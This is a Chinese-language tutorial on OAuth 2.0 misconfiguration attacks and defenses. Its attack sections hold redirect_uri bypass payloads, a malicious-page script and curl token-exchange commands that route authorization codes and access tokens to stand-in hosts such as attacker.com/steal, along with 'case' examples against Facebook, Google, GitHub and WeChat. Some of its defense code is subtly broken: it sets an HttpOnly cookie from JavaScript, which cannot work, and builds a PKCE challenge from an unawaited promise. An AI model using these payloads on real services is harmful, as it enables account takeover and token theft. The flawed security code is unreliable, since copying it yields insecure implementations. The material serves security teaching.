OAuth 配置错误
漏洞概述
OAuth 2.0 是广泛使用的授权协议,但由于配置复杂,常出现重定向 URI 绕过、令牌泄露、权限过度等安全问题。
OWASP Top 10: A07:2021 (Identification and Authentication Failures)
危害等级: ⭐⭐⭐⭐
OAuth 流程
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client │ │ Auth │ │ Resource│
│ (App) │─────▶│ Server │─────▶│ Server │
└─────────┘ └─────────┘ └─────────┘
│ │ │
│ 1. Auth Request│ │
│───────────────▶│ │
│ │ │
│ 2. User Login │ │
│◀──────────────▶│ │
│ │ │
│ 3. Auth Code │ │
│◀───────────────│ │
│ │ │
│ 4. Token Request │
│───────────────────────────────▶│
│ │ │
│ 5. Access Token │
│◀───────────────────────────────│
│ │ │常见攻击手法
1. 重定向 URI 绕过
原理: redirect_uri 参数验证不严格,可劫持授权码。
利用方式:
# 原始配置
redirect_uri=https://target.com/callback
# 绕过方式 1: 子域名
redirect_uri=https://attacker.com.target.com/callback
# 绕过方式 2: 路径遍历
redirect_uri=https://target.com/[email protected]
# 绕过方式 3: 参数污染
redirect_uri=https://target.com/callback?redirect_uri=https://attacker.com
# 绕过方式 4: URL 解析差异
redirect_uri=https://target.com.evil.com/callback
redirect_uri=https://evil.com/target.com/callback实战:
# 构造恶意链接
https://oauth-server.com/authorize?
client_id=CLIENT_ID&
redirect_uri=https://attacker.com/steal&
response_type=code&
scope=read+write
# 用户授权后,授权码发送到 attacker.com
# 攻击者用授权码换取 access_token2. 授权码劫持
原理: 授权码在传输过程中被截获。
利用:
# 1. 诱导用户点击恶意链接
https://oauth-server.com/authorize?
client_id=LEGIT_CLIENT&
redirect_uri=https://attacker.com&
response_type=code
# 2. 用户授权,授权码发送到 attacker.com
code=AUTH_CODE
# 3. 攻击者换取 token
curl -X POST https://oauth-server.com/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://attacker.com" \
-d "client_id=CLIENT_ID" \
-d "client_secret=SECRET"3. 隐式流攻击 (Implicit Flow)
原理: Implicit Flow 直接在 URL 中返回 token,易被截获。
利用:
# 恶意页面
<script>
window.location = 'https://oauth-server.com/authorize?' +
'client_id=CLIENT_ID&' +
'redirect_uri=https://attacker.com/steal?' +
'response_type=token';
</script>
# token 在 URL 片段中
https://attacker.com/steal#access_token=TOKEN&token_type=bearer
# JavaScript 可读取
const token = window.location.hash.split('=')[1];4. 刷新令牌泄露
原理: Refresh Token 长期有效,泄露后可持续访问。
利用:
# 窃取 Refresh Token (XSS/日志泄露)
refresh_token = "1//0e..."
# 持续获取新 Access Token
curl -X POST https://oauth-server.com/token \
-d "grant_type=refresh_token" \
-d "refresh_token=1//0e..." \
-d "client_id=CLIENT_ID"5. 权限过度 (Scope Escalation)
原理: 请求超出应用需要的权限范围。
利用:
# 应用只需要读取邮箱
# 但请求了所有权限
https://oauth-server.com/authorize?
client_id=CLIENT_ID&
scope=email+profile+drive+calendar+contacts&
response_type=code
# 用户可能不注意,授权所有权限6. CSRF 攻击
原理: 缺少 state 参数验证。
利用:
# 1. 攻击者发起授权请求
https://oauth-server.com/authorize?
client_id=CLIENT_ID&
redirect_uri=https://target.com/callback&
response_type=code
# 缺少 state 参数
# 2. 用户点击,授权码返回
# 3. 攻击者用自己的账号完成授权
# 4. 受害者账号被绑定到攻击者账号实战案例
案例 1: Facebook OAuth 重定向绕过
# 漏洞:redirect_uri 验证不严格
https://www.facebook.com/v3.2/dialog/oauth?
client_id=123456789&
redirect_uri=https://attacker.com/&
response_type=code
# 绕过验证
https://www.facebook.com/v3.2/dialog/oauth?
client_id=123456789&
redirect_uri=https://attacker.com#facebook.com/&
response_type=code案例 2: Google OAuth 权限提升
# 请求额外权限
https://accounts.google.com/o/oauth2/auth?
client_id=CLIENT_ID.apps.googleusercontent.com&
redirect_uri=https://target.com/oauth2callback&
scope=email+profile+https://www.googleapis.com/auth/drive&
response_type=code&
access_type=offline
# 用户授权后,应用可访问 Google Drive案例 3: GitHub OAuth 劫持
# 1. 诱导用户授权
https://github.com/login/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://attacker.com/callback
# 2. 获取授权码
code=AUTH_CODE
# 3. 换取 token
curl -X POST https://github.com/login/oauth/access_token \
-d "client_id=CLIENT_ID" \
-d "client_secret=SECRET" \
-d "code=AUTH_CODE"
# 4. 访问用户数据
curl -H "Authorization: token ACCESS_TOKEN" \
https://api.github.com/user案例 4: 微信 OAuth 配置错误
# redirect_uri 未严格验证
https://open.weixin.qq.com/connect/qrconnect?
appid=APPID&
redirect_uri=https://attacker.com/callback&
response_type=code&
scope=snsapi_login
# 获取 code 后换取 access_token
https://api.weixin.qq.com/sns/oauth2/access_token?
appid=APPID&
secret=SECRET&
code=CODE&
grant_type=authorization_code工具
OAuth 测试工具
# oauth2-test-server (本地测试)
git clone https://github.com/nicholasaleks/oauth2-test-server
cd oauth2-test-server
npm install
npm start
# 配置测试场景
# http://localhost:3000/Burp Suite
1. 捕获 OAuth 请求
2. 修改 redirect_uri 参数
3. 发送到 Repeater 测试
4. 使用 Intruder 爆破子域名防御建议
服务端配置
# 1. 严格验证 redirect_uri
from urllib.parse import urlparse
allowed_redirects = [
'https://target.com/callback',
'https://app.target.com/callback'
]
def validate_redirect(redirect_uri):
if redirect_uri not in allowed_redirects:
raise ValueError("Invalid redirect_uri")
return True
# 2. 使用 state 参数防止 CSRF
import secrets
state = secrets.token_urlsafe(32)
# 存储在 session 中,回调时验证
# 3. 使用 PKCE (Public Clients)
import hashlib
import base64
code_verifier = secrets.token_urlsafe(32)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()
# 授权请求
auth_url = f"https://oauth-server.com/authorize?code_challenge={code_challenge}"
# 回调时验证 code_verifier
# 4. 最小权限原则
scope = "email profile" # 只请求必要的权限
# 5. Token 安全存储
# 使用加密存储,设置合理过期时间客户端实现
// 1. 使用 PKCE
async function generatePKCE() {
const verifier = crypto.randomBytes(32).toString('base64url');
const challenge = crypto.subtle.digest('SHA-256',
new TextEncoder().encode(verifier)
);
return { verifier, challenge };
}
// 2. 安全存储 Token
// 使用 HttpOnly Cookie
document.cookie = `access_token=${token}; HttpOnly; Secure; SameSite=Lax`;
// 3. Token 刷新
async function refreshToken() {
const response = await fetch('/refresh', {
method: 'POST',
credentials: 'include'
});
// 处理新 token
}
// 4. 自动过期
setTimeout(() => {
logout();
}, token_expiry * 1000);检查清单
- redirect_uri 白名单验证
- state 参数防止 CSRF
- 使用 PKCE (Public Clients)
- 最小权限 scope
- Token 加密存储
- 合理过期时间
- Refresh Token 轮换
- 审计日志记录